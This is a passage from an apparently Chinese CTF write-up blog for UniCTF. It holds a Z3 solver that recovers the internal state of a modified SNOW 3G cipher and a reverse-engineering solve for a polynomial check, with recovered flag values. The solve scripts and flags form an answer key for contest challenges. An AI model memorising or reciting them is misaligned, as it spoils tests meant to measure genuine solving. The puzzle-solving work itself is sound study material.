&#91;snaps&#91;2]&#91;\"R1\"],snaps&#91;2]&#91;\"R2\"],snaps&#91;2]&#91;\"R3\"],snaps&#91;2]&#91;\"s\"],snaps&#91;3]&#91;\"s\"],snaps&#91;6]&#91;\"s\"],snaps&#91;7]&#91;\"s\"],snaps&#91;8]&#91;\"s\"],snaps&#91;5]&#91;\"R1\"],snaps&#91;7]&#91;\"R1\"]]\n\nmsg = random.randbytes(64)\ncipher = snow3g_encrypt(key, iv, msg)\n\nprint(\"msg =\", msg)\nprint(\"cipher =\", cipher)\n\nprint(\"leak =\",leak)\n'''\nmsg = b'x94x1dxbbxec:xb8xc8x0f|x02xb9xa3z,xbb\\xfaxe7fx1c8xf9xb32xbb-&amp;xb8exb5xccxa6x87xe0-f=xednfMBxbexfex82xd4x88x12Axx00}x8ex03xdcxaax98xe9f2rXxefa'\ncipher = b'xffdxd4xe4xd3xa8xd9aO:dx9brxfeEx91x9fx8cx8ddx90xbfxf4xcasxa5x9d&lt;vYxe8jx17xc9&#91;ixb3ox97xc7xbcxa8hOxfdN=sx02lx17xacx87xdcxfcxc5x03xc5xb9Xxbbxd5xfaxec'\nleak = &#91;2637400652, 2716391721, 759061621, 531369159, 1650717698, 564069224, 3524479012, 2926837343, 203119206, 2581689712]\n'''<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u9053\u9898\u8003\u5bdf\u7684\u662f <strong>SNOW 3G \u6d41\u5bc6\u7801<\/strong> \u7684\u5185\u90e8\u72b6\u6001\u6062\u590d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u52a0\u5bc6\u903b\u8f91<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9898\u76ee\u4f7f\u7528\u7684\u662f\u6807\u51c6\u7684 SNOW 3G \u7b97\u6cd5\u7ed3\u6784\uff08LFSR + FSM\uff09\uff0c\u4f46\u4fee\u6539\u4e86 LFSR \u7684\u63a8\u8fdb\u903b\u8f91\u3002\n\u5173\u952e\u53d8\u52a8\uff1aLFSR \u7684\u63a8\u8fdb\u6b21\u6570\u4e0d\u662f\u56fa\u5b9a\u7684\u3002\u6bcf\u751f\u6210\u4e00\u4e2a\u5bc6\u94a5\u6d41\u5b57 Z\uff0c\u4f1a\u6839\u636e Z \u7684\u6700\u4f4e\u4f4d\uff08LSB\uff09\u51b3\u5b9a LFSR \u63a8\u8fdb 1 \u6b21\u8fd8\u662f 2 \u6b21\u3002\n\u9898\u76ee\u7ed9\u51fa\u4e86 msg (\u660e\u6587) \u548c cipher (\u5bc6\u6587)\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u7b97\u51fa\u5b8c\u6574\u7684\u5bc6\u94a5\u6d41 Z (Keystream)\uff0c\u4ece\u800c\u786e\u5b9a\u6bcf\u4e00\u6b65 LFSR \u7684\u63a8\u8fdb\u6b21\u6570\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u6cc4\u9732\u4fe1\u606f\uff1a\u9898\u76ee\u7ed9\u51fa\u4e86 t=2, 3, 5, 6, 7, 8 \u65f6\u523b\u7684\u90e8\u5206\u5185\u90e8\u72b6\u6001\uff08R1, R2, R3 \u6216 LFSR \u7684 s[0]\uff09\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u9898\u601d\u8def<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7531\u4e8e\u624b\u52a8\u9006\u5411\u63a8\u5bfc\uff08Backtracking\uff09\u6d89\u53ca\u590d\u6742\u7684\u6a21\u8fd0\u7b97\u548c\u4f4d\u64cd\u4f5c\uff0c\u6781\u6613\u51fa\u9519\uff0c\u6700\u4f73\u65b9\u6848\u662f\u4f7f\u7528 Z3 \u7ea6\u675f\u6c42\u89e3\u5668\u3002\n\u6211\u4eec\u5c06 t=0 \u65f6\u523b\u7684\u521d\u59cb\u72b6\u6001 \u8bbe\u4e3a\u7b26\u53f7\u53d8\u91cf\uff0816\u4e2a s \u5bc4\u5b58\u5668\u548c 3\u4e2a R \u5bc4\u5b58\u5668\uff09\u3002\n\u5229\u7528 Z3 \u6a21\u62df SNOW 3G \u7684\u524d\u51e0\u8f6e\u8fd0\u884c\u3002\u5728\u6bcf\u4e00\u8f6e\u4e2d\uff1a\u6dfb\u52a0\u7ea6\u675f\uff1a\u5f53\u524d\u72b6\u6001\u5fc5\u987b\u4ea7\u751f\u5df2\u77e5\u7684\u5bc6\u94a5\u6d41 Z_t\u3002\n\u6dfb\u52a0\u7ea6\u675f\uff1a\u5982\u679c\u8be5\u8f6e\u6709\u6cc4\u9732\u6570\u636e\uff08Leak\uff09\uff0c\u5f53\u524d\u72b6\u6001\u5fc5\u987b\u5339\u914d\u6cc4\u9732\u503c\u3002\nZ3 \u4f1a\u81ea\u52a8\u6c42\u89e3\u51fa t=0 \u65f6\u7684\u521d\u59cb\u72b6\u6001\uff0c\u6700\u540e\u8ba1\u7b97 SHA1 \u5373\u53ef\u5f97\u5230 flag\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import z3\nfrom hashlib import sha1\nfrom dataclasses import dataclass\nfrom typing import List\n\nSR = &#91;\n    0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,\n    0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,\n    0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,\n    0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,\n    0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,\n    0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,\n    0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,\n    0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,\n    0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,\n    0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,\n    0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,\n    0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,\n    0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,\n    0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,\n    0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,\n    0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16\n]\n\nSQ = &#91;\n    0x25,0x24,0x73,0x67,0xD7,0xAE,0x5C,0x30,0xA4,0xEE,0x6E,0xCB,0x7D,0xB5,0x82,0xDB,\n    0xE4,0x8E,0x48,0x49,0x4F,0x5D,0x6A,0x78,0x70,0x88,0xE8,0x5F,0x5E,0x84,0x65,0xE2,\n    0xD8,0xE9,0xCC,0xED,0x40,0x2F,0x11,0x28,0x57,0xD2,0xAC,0xE3,0x4A,0x15,0x1B,0xB9,\n    0xB2,0x80,0x85,0xA6,0x2E,0x02,0x47,0x29,0x07,0x4B,0x0E,0xC1,0x51,0xAA,0x89,0xD4,\n    0xCA,0x01,0x46,0xB3,0xEF,0xDD,0x44,0x7B,0xC2,0x7F,0xBE,0xC3,0x9F,0x20,0x4C,0x64,\n    0x83,0xA2,0x68,0x42,0x13,0xB4,0x41,0xCD,0xBA,0xC6,0xBB,0x6D,0x4D,0x71,0x21,0xF4,\n    0x8D,0xB0,0xE5,0x93,0xFE,0x8F,0xE6,0xCF,0x43,0x45,0x31,0x22,0x37,0x36,0x96,0xFA,\n    0xBC,0x0F,0x08,0x52,0x1D,0x55,0x1A,0xC5,0x4E,0x23,0x69,0x7A,0x92,0xFF,0x5B,0x5A,\n    0xEB,0x9A,0x1C,0xA9,0xD1,0x7E,0x0D,0xFC,0x50,0x8A,0xB6,0x62,0xF5,0x0A,0xF8,0xDC,\n    0x03,0x3C,0x0C,0x39,0xF1,0xB8,0xF3,0x3D,0xF2,0xD5,0x97,0x66,0x81,0x32,0xA0,0x00,\n    0x06,0xCE,0xF6,0xEA,0xB7,0x17,0xF7,0x8C,0x79,0xD6,0xA7,0xBF,0x8B,0x3F,0x1F,0x53,\n    0x63,0x75,0x35,0x2C,0x60,0xFD,0x27,0xD3,0x94,0xA5,0x7C,0xA1,0x05,0x58,0x2D,0xBD,\n    0xD9,0xC7,0xAF,0x6B,0x54,0x0B,0xE0,0x38,0x04,0xC8,0x9D,0xE7,0x14,0xB1,0x87,0x9C,\n    0xDF,0x6F,0xF9,0xDA,0x2A,0xC4,0x59,0x16,0x74,0x91,0xAB,0x26,0x61,0x76,0x34,0x2B,\n    0xAD,0x99,0xFB,0x72,0xEC,0x33,0x12,0xDE,0x98,0x3B,0xC0,0x9B,0x3E,0x18,0x10,0x3A,\n    0x56,0xE1,0x77,0xC9,0x1E,0x9E,0x95,0xA3,0x90,0x19,0xA8,0x6C,0x09,0xD0,0xF0,0x86\n]\n\ndef _u32(x: int) -&gt; int: return x &amp; 0xFFFFFFFF\n\ndef _mulx(v: int, c: int) -&gt; int:\n    r = ((v &lt;&lt; 1) &amp; 0xFF)\n    if v &amp; 0x80: r ^= c\n    return r\n\ndef _mulx_pow(v: int, i: int, c: int) -&gt; int:\n    for _ in range(i): v = _mulx(v, c)\n    return v\n\ndef _mul_alpha_u32(c: int) -&gt; int:\n    b0 = _mulx_pow(c, 23, 0xA9)\n    b1 = _mulx_pow(c, 245, 0xA9)\n    b2 = _mulx_pow(c, 48, 0xA9)\n    b3 = _mulx_pow(c, 239, 0xA9)\n    return (b0 &lt;&lt; 24) | (b1 &lt;&lt; 16) | (b2 &lt;&lt; 8) | b3\n\ndef _div_alpha_u32(c: int) -&gt; int:\n    b0 = _mulx_pow(c, 16, 0xA9)\n    b1 = _mulx_pow(c, 39, 0xA9)\n    b2 = _mulx_pow(c, 6, 0xA9)\n    b3 = _mulx_pow(c, 64, 0xA9)\n    return (b0 &lt;&lt; 24) | (b1 &lt;&lt; 16) | (b2 &lt;&lt; 8) | b3\n\nMUL_A = &#91;_mul_alpha_u32(i) for i in range(256)]\nDIV_A = &#91;_div_alpha_u32(i) for i in range(256)]\n\nleak_vals = &#91;2637400652, 2716391721, 759061621, 531369159, 1650717698, 564069224, 3524479012, 2926837343, 203119206, 2581689712]\nmsg = b'x94x1dxbbxec:xb8xc8x0f|x02xb9xa3z,xbb\\xfaxe7fx1c8xf9xb32xbb-&amp;xb8exb5xccxa6x87xe0-f=xednfMBxbexfex82xd4x88x12Axx00}x8ex03xdcxaax98xe9f2rXxefa'\ncipher = b'xffdxd4xe4xd3xa8xd9aO:dx9brxfeEx91x9fx8cx8ddx90xbfxf4xcasxa5x9d&lt;vYxe8jx17xc9&#91;ixb3ox97xc7xbcxa8hOxfdN=sx02lx17xacx87xdcxfcxc5x03xc5xb9Xxbbxd5xfaxec'\n\nks_bytes = bytes(&#91;a ^ b for a, b in zip(msg, cipher)])\nZ = &#91;int.from_bytes(ks_bytes&#91;i:i+4], 'big') for i in range(0, len(ks_bytes), 4)]\nclocks_per_step = &#91;(1 if (z &amp; 1) == 0 else 2) for z in Z]\n\nLEAKS = {\n    2: {'R1': leak_vals&#91;0], 'R2': leak_vals&#91;1], 'R3': leak_vals&#91;2], 's0': leak_vals&#91;3]},\n    3: {'s0': leak_vals&#91;4]},\n    5: {'R1': leak_vals&#91;8]},\n    6: {'s0': leak_vals&#91;5]},\n    7: {'s0': leak_vals&#91;6], 'R1': leak_vals&#91;9]},\n    8: {'s0': leak_vals&#91;7]}\n}\n\nsolver = z3.Solver()\n\nSR_ARR = z3.Array('SR', z3.BitVecSort(8), z3.BitVecSort(8))\nSQ_ARR = z3.Array('SQ', z3.BitVecSort(8), z3.BitVecSort(8))\nMUL_A_ARR = z3.Array('MUL_A', z3.BitVecSort(8), z3.BitVecSort(32))\nDIV_A_ARR = z3.Array('DIV_A', z3.BitVecSort(8), z3.BitVecSort(32))\n\nfor i in range(256):\n    solver.add(z3.Select(SR_ARR, i) == SR&#91;i])\n    solver.add(z3.Select(SQ_ARR, i) == SQ&#91;i])\n    solver.add(z3.Select(MUL_A_ARR, i) == MUL_A&#91;i])\n    solver.add(z3.Select(DIV_A_ARR, i) == DIV_A&#91;i])\n\ns_state = &#91;z3.BitVec(f's_{i}', 32) for i in range(16)]\nr_state = &#91;z3.BitVec(f'r{i}', 32) for i in range(1, 4)]\n\ndef z3_mulx(v, c):\n    left = (v &lt;&lt; 1)\n    cond = (v &amp; 0x80) != 0\n    res = z3.If(cond, left ^ c, left)\n    return res\n\ndef z3_s_transform(w, box_arr, red_const):\n    w0, w1 = z3.Extract(31, 24, w), z3.Extract(23, 16, w)\n    w2, w3 = z3.Extract(15, 8, w), z3.Extract(7, 0, w)\n    a0, a1 = z3.Select(box_arr, w0), z3.Select(box_arr, w1)\n    a2, a3 = z3.Select(box_arr, w2), z3.Select(box_arr, w3)\n    x0, x1 = z3_mulx(a0, red_const), z3_mulx(a1, red_const)\n    x2, x3 = z3_mulx(a2, red_const), z3_mulx(a3, red_const)\n    r0 = x0 ^ a1 ^ a2 ^ x3 ^ a3\n    r1 = x0 ^ a0 ^ x1 ^ a2 ^ a3\n    r2 = a0 ^ x1 ^ a1 ^ x2 ^ a3\n    r3 = a0 ^ a1 ^ x2 ^ a2 ^ x3\n    return z3.Concat(r0, r1, r2, r3)\n\nfor t in range(9):\n    if t in LEAKS:\n        if 's0' in LEAKS&#91;t]: solver.add(s_state&#91;0] == LEAKS&#91;t]&#91;'s0'])\n        if 'R1' in LEAKS&#91;t]: solver.add(r_state&#91;0] == LEAKS&#91;t]&#91;'R1'])\n        if 'R2' in LEAKS&#91;t]: solver.add(r_state&#91;1] == LEAKS&#91;t]&#91;'R2'])\n        if 'R3' in LEAKS&#91;t]: solver.add(r_state&#91;2] == LEAKS&#91;t]&#91;'R3'])\n\n    F = (s_state&#91;15] + r_state&#91;0]) ^ r_state&#91;1]\n    solver.add((F ^ s_state&#91;0]) == Z&#91;t])\n\n    r = r_state&#91;1] + (r_state&#91;2] ^ s_state&#91;5])\n    new_r3 = z3_s_transform(r_state&#91;1], SQ_ARR, 0x69)\n    new_r2 = z3_s_transform(r_state&#91;0], SR_ARR, 0x1B)\n    r_state = &#91;r, new_r2, new_r3]\n\n    for _ in range(clocks_per_step&#91;t]):\n        s0, s2, s11 = s_state&#91;0], s_state&#91;2], s_state&#91;11]\n        v = (s0 &lt;&lt; 8) ^ z3.Select(MUL_A_ARR, z3.Extract(31, 24, s0)) ^ s2 ^ z3.LShR(s11, 8) ^ z3.Select(DIV_A_ARR, z3.Extract(7, 0, s11))\n        s_state = s_state&#91;1:] + &#91;v]\n\nprint(\"Solving for t=0 directly...\")\nif solver.check() != z3.sat:\n    print(\"UNSAT\")\n    exit()\n\nmodel = solver.model()\nrec_s = &#91;model.eval(z3.BitVec(f's_{i}', 32)).as_long() for i in range(16)]\nrec_r = &#91;model.eval(z3.BitVec(f'r{i}', 32)).as_long() for i in range(1, 4)]\n\nstate_bytes = b\"\".join(x.to_bytes(4, \"big\") for x in rec_s&#91;::-1]) \n            + rec_r&#91;0].to_bytes(4, \"big\") + rec_r&#91;1].to_bytes(4, \"big\") + rec_r&#91;2].to_bytes(4, \"big\")\nflag = 'UniCTF{' + sha1(state_bytes).hexdigest() + '}'\nprint(\"Flag:\", flag)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-384.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"965\" height=\"116\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-384.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2717\"  sizes=\"auto, (max-width: 965px) 100vw, 965px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{19e4235fc574ba94f4822c4b3bf03741ecfc0940}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Reverse<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">c_polynomial<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-385-1024x416.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"416\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-385-1024x416.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2718\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-386-1024x239.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"239\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-386-1024x239.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2719\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u7a0b\u5e8f\u8ba1\u7b97\u4e00\u4e2a8\u6b21\u591a\u9879\u5f0f\uff0c\u5b83\u6d4b\u8bd5\u4ece-60\u5230+59\u7684\u6bcf\u4e2a\u6574\u6570\uff0c\u6211\u4eec\u9700\u8981\u83b7\u53d6:v5\u6570\u636e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-387-1024x91.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"91\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-387-1024x91.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2720\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-388.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"495\" height=\"62\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-388.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2721\"  sizes=\"auto, (max-width: 495px) 100vw, 495px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b83\u68c0\u67e5 0 &lt;= (u+37) &lt;= 54\uff0c\u56e0\u6b64\u53ea\u8003\u8651 v5 \u7684\u7b2c 0 \u5230 54 \u4f4d\u3002\u6240\u4ee5\u5bf9\u4e8e\u6bcf\u4e2a\u4ece -60 \u5230 59 \u7684\u6574\u6570 i\uff0c\u5b83\u4f1a\u67e5\u770b v5 \u4e2d\u7684\u7b2c (i+37) \u4f4d\u3002\u5982\u679c\u90a3\u4e00\u4f4d\u662f 1\uff0c\u5219\u591a\u9879\u5f0f\u5fc5\u987b\u4e3a 0\uff1b\u5982\u679c\u90a3\u4e00\u4f4d\u662f 0\uff0c\u5219\u591a\u9879\u5f0f\u5fc5\u987b\u975e\u96f6\u3002\u6240\u4ee5 \u6839= i = bit_index -37<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>v5 = 0x400C0210000001\nroots = &#91;bit - 37 for bit in range(64) if (v5 &gt;&gt; bit) &amp; 1]\nprint(\"roots =\", roots)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-389.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"850\" height=\"296\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-389.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2722\"  sizes=\"auto, (max-width: 850px) 100vw, 850px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u6839\u636e\u4ee3\u7801\u4ece\u9006\u5411\u5de5\u7a0b\u4e2d\uff0c\u6211\u4eec\u53ea\u9700\u8981\u653e\u5165\u6839\u5e76\u68c0\u67e5\u6570\u5b57\u662f\u5426\u662f\u591a\u9879\u5f0f\uff0c\u5e76\u4e14\u9700\u8981\u68c0\u67e5 c6 = 44114\uff0cc7 = -606\uff0c\u5982\u679c c6 \u548c c7 \u90fd\u6b63\u786e\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5f97\u5230\u4e86\u6b63\u786e\u7684\u6570\u5b57<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from fractions import Fraction\nimport struct\n\nroots = &#91;-37, -9, -4, 5, 6, 17]\n\nc6 = 44114\nc7 = -606\nc8 = 1\n\nA = &#91;]\nb = &#91;]\nfor x in roots:\n    row = &#91;Fraction(x**j) for j in range(0, 6)]\n    rhs = - (Fraction(c6 * (x**6)) + Fraction(c7 * (x**7)) + Fraction(c8 * (x**8)))\n    A.append(row)\n    b.append(rhs)\n\ndef gauss_solve(A, b):\n    n = len(A)\n    m = len(A&#91;0])\n    M = &#91;A&#91;i]&#91;:] + &#91;b&#91;i]] for i in range(n)]\n    row = 0\n    col = 0\n    while row &lt; n and col &lt; m:\n        sel = None\n        for i in range(row, n):\n            if M&#91;i]&#91;col] != 0:\n                sel = i\n                break\n        if sel is None:\n            col += 1\n            continue\n        M&#91;row], M&#91;sel] = M&#91;sel], M&#91;row]\n        piv = M&#91;row]&#91;col]\n        M&#91;row] = &#91;v \/ piv for v in M&#91;row]]\n        for i in range(n):\n            if i != row and M&#91;i]&#91;col] != 0:\n                factor = M&#91;i]&#91;col]\n                M&#91;i] = &#91;M&#91;i]&#91;j] - factor * M&#91;row]&#91;j] for j in range(m + 1)]\n        row += 1\n        col += 1\n    sol = &#91;M&#91;i]&#91;-1] for i in range(n)]\n    return sol\n\nsol = gauss_solve(A, b)  \ncoeffs_exact = &#91;int(s) for s in sol] + &#91;c6, c7, c8]\n\nprint(\"Solved (exact) coefficients (c0..c8):\")\nfor i, v in enumerate(coeffs_exact):\n    print(f\" c&#91;{i}] = {v}\")\n\ndef pack_int32_signed(x):\n    ux = x &amp; 0xFFFFFFFF\n    return struct.pack('&lt;I', ux)\n\nc = coeffs_exact\nSrc = &#91;0]*7\nSrc&#91;0] = c&#91;0]\nSrc&#91;1] = c&#91;1]\nSrc&#91;2] = c&#91;2]\nSrc&#91;3] = c&#91;3]\nlow4 = c&#91;4] &amp; 0xFFFF\nhigh4 = c&#91;5] &amp; 0xFFFF\nSrc&#91;4] = (high4 &lt;&lt; 16) | low4\nlow5 = c&#91;6] &amp; 0xFFFF\nhigh5 = c&#91;7] &amp; 0xFFFF\nSrc&#91;5] = (high5 &lt;&lt; 16) | low5\nSrc&#91;6] = (0 &lt;&lt; 16) | (c&#91;8] &amp; 0xFFFF)\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-390.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"971\" height=\"391\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-390.png\" 